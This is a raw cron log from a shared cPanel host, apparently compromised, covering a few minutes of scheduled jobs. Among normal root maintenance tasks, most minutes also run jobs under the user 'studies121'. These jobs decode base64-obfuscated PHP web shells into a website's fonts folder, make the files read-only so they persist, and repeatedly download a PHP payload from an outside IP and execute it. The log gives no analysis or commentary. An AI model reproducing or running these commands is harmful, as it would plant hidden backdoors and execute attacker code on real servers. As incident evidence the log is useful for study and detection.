Sep 22 01:50:01 ip-184-168-122-23 CROND[23627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:50:01 ip-184-168-122-23 CROND[23629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:50:01 ip-184-168-122-23 CROND[23635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:50:01 ip-184-168-122-23 CROND[23634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:50:01 ip-184-168-122-23 CROND[23636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:50:01 ip-184-168-122-23 CROND[23633]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 01:51:01 ip-184-168-122-23 CROND[23757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:51:01 ip-184-168-122-23 CROND[23760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:51:01 ip-184-168-122-23 CROND[23761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:51:01 ip-184-168-122-23 CROND[23762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:52:01 ip-184-168-122-23 CROND[23864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:52:01 ip-184-168-122-23 CROND[23867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:52:01 ip-184-168-122-23 CROND[23868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:52:01 ip-184-168-122-23 CROND[23869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:52:01 ip-184-168-122-23 CROND[23866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:53:01 ip-184-168-122-23 CROND[23991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:53:01 ip-184-168-122-23 CROND[23992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:53:01 ip-184-168-122-23 CROND[23995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:53:01 ip-184-168-122-23 CROND[23996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:54:01 ip-184-168-122-23 CROND[24202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:54:01 ip-184-168-122-23 CROND[24203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:54:01 ip-184-168-122-23 CROND[24207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:54:01 ip-184-168-122-23 CROND[24206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:54:01 ip-184-168-122-23 CROND[24205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:55:02 ip-184-168-122-23 CROND[24347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:55:02 ip-184-168-122-23 CROND[24346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:55:02 ip-184-168-122-23 CROND[24350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:55:02 ip-184-168-122-23 CROND[24351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 01:55:02 ip-184-168-122-23 CROND[24353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:55:02 ip-184-168-122-23 CROND[24352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 01:56:01 ip-184-168-122-23 CROND[24723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:56:02 ip-184-168-122-23 CROND[24728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:56:02 ip-184-168-122-23 CROND[24725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:56:02 ip-184-168-122-23 CROND[24726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:56:02 ip-184-168-122-23 CROND[24729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:57:01 ip-184-168-122-23 CROND[24831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:57:01 ip-184-168-122-23 CROND[24834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:57:01 ip-184-168-122-23 CROND[24833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:57:01 ip-184-168-122-23 CROND[24836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:58:01 ip-184-168-122-23 CROND[25064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:58:01 ip-184-168-122-23 CROND[25063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:58:01 ip-184-168-122-23 CROND[25065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 01:58:01 ip-184-168-122-23 CROND[25066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:58:01 ip-184-168-122-23 CROND[25067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 01:59:01 ip-184-168-122-23 CROND[25253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 01:59:01 ip-184-168-122-23 CROND[25255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 01:59:01 ip-184-168-122-23 CROND[25254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 01:59:01 ip-184-168-122-23 CROND[25256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:00:01 ip-184-168-122-23 CROND[25377]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 22 02:00:01 ip-184-168-122-23 CROND[25376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 02:00:01 ip-184-168-122-23 CROND[25380]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 02:00:01 ip-184-168-122-23 CROND[25383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:00:01 ip-184-168-122-23 CROND[25384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:00:01 ip-184-168-122-23 CROND[25386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:00:01 ip-184-168-122-23 CROND[25385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:00:01 ip-184-168-122-23 CROND[25387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:00:01 ip-184-168-122-23 CROND[25389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:00:01 ip-184-168-122-23 CROND[25388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:01:01 ip-184-168-122-23 CROND[25511]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 02:01:01 ip-184-168-122-23 CROND[25512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:01:01 ip-184-168-122-23 CROND[25513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:01:01 ip-184-168-122-23 CROND[25516]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 02:01:01 ip-184-168-122-23 CROND[25518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:01:01 ip-184-168-122-23 CROND[25520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25511]: starting 0anacron
Sep 22 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25535]: finished 0anacron
Sep 22 02:01:01 ip-184-168-122-23 anacron[25532]: Anacron started on 2026-09-22
Sep 22 02:01:01 ip-184-168-122-23 anacron[25532]: Normal exit (0 jobs run)
Sep 22 02:02:01 ip-184-168-122-23 CROND[25615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:02:01 ip-184-168-122-23 CROND[25617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:02:01 ip-184-168-122-23 CROND[25619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
